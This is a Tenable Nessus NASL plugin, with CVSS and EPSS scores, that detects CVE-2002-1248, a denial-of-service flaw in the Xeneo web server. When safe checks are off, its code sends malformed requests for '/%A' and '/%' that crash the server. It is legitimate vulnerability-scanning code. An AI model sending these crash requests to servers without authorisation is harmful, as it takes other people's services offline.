5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.032 Low
EPSS
Percentile
91.2%
The remote host is running a vulnerable version of the Xeneo web server. It is possible to crash the web server by requesting a malformed URL ending with /%A or /%.
#
# (C) Tenable Network Security, Inc.
#
# See also: Xeneo_Web_Server_2.2.9.0_DoS.nasl by Bekrar Chaouki
# I wrote this script at the same time. Although both flaws target the same
# web server, I think that we should keep them separated, because it might
# affect other servers.
#
# References:
# From: "Carsten H. Eiram" <[email protected]>
# Subject: Secunia Research: Xeneo Web Server URL Encoding Denial of Service
# To: VulnWatch <[email protected]>,
# Full Disclosure <[email protected]>,
# Bugtraq <[email protected]>
# Date: 23 Apr 2003 09:49:56 +0200
#
# From: "David Endler" <[email protected]>
# To: [email protected]
# Date: Mon, 4 Nov 2002 00:46:47 -0500
# Subject: iDEFENSE Security Advisory 11.04.02b: Denial of Service Vulnerability in Xeneo Web Server
#
include("compat.inc");
if(description)
{
script_id(11546);
script_version ("1.20");
script_cve_id("CVE-2002-1248");
script_bugtraq_id(6098);
script_name(english:"Xeneo Web Server %A Request Remote DoS");
script_set_attribute(attribute:"synopsis", value:
"The remote host is running a web server with a denial of service
vulnerability." );
script_set_attribute(attribute:"description", value:
"The remote host is running a vulnerable version of the Xeneo web server.
It is possible to crash the web server by requesting a malformed URL ending
with /%A or /%." );
script_set_attribute(attribute:"solution", value:
"Upgrade to the latest version of this software." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2003/04/23");
script_set_attribute(attribute:"vuln_publication_date", value: "2002/11/04");
script_cvs_date("Date: 2018/08/07 16:46:51");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english:"Crashes Xeneo web server with /%A or /%");
script_category(ACT_MIXED_ATTACK);
script_copyright(english:"This script is Copyright (C) 2003-2018 Tenable Network Security, Inc.");
script_family(english:"Web Servers");
script_require_ports("Services/www", 80);
script_dependencies("find_service1.nasl", "no404.nasl", "http_version.nasl");
exit(0);
}
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80, embedded: 0);
b = get_http_banner(port: port);
if ( "Xeneo/" >!< b ) exit(0);
if(safe_checks())
{
# I got one banner: "Server: Xeneo/2.2"
if (b =~ 'Server: *Xeneo/2\\.(([0-1][ \t\r\n.])|(2(\\.[0-9])?[ \t\r\n]))')
{
report = "
Note that Nessus did not perform a real test and just checked the
version number in the banner since safe checks are enabled.";
security_warning(port: port, extra: report);
}
exit(0);
}
if (http_is_dead(port:port))exit(0);
items = make_list("/%A", "/%");
foreach i (items)
{
r = http_send_recv3(port: port, item: i, method: "GET");
if (http_is_dead(port:port))
{
security_warning(port);
exit(0);
}
}